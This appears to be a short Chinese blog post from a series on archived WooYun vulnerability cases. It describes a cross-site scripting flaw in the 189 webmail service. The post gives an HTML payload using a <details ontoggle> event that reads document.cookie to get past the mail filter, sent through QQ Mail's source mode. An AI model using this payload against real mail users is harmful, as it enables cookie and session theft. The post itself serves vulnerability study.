【漏洞学习——XSS】189邮箱一处XSS

最新推荐文章于 2024-10-20 18:42:39 发布

FLy_鹏程万里

最新推荐文章于 2024-10-20 18:42:39 发布

阅读量814

点赞数

CC 4.0 BY-SA版权

分类专栏：【渗透测试实战】 # 乌云漏洞案例学习

本文链接：https://blog.youkuaiyun.com/Fly_hps/article/details/84383622

160 篇文章

订阅专栏

75 篇文章

订阅专栏

本文介绍了一种在JavaScript中使用on事件绕过XSS过滤的方法，通过在QQ邮箱源码模式下发送包含<details>标签的XSS攻击代码，可在Google Chrome、Opera、Safari等浏览器下执行。此方法需要添加一些文字内容以避免被拦截。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

额javascript中on事件挺多，找了个不被过滤的。。。
为了方便操作用QQ邮箱源码模式进行发送，为了发送成功需要添加一些文字内容不然会被拦截

<details ontoggle="confirm(document.cookie)">
   xss
   <summary>click me</summary>xssxssxss
</details>

可在Google Chrome Opera Safari下执行，我在Chrome上测试的。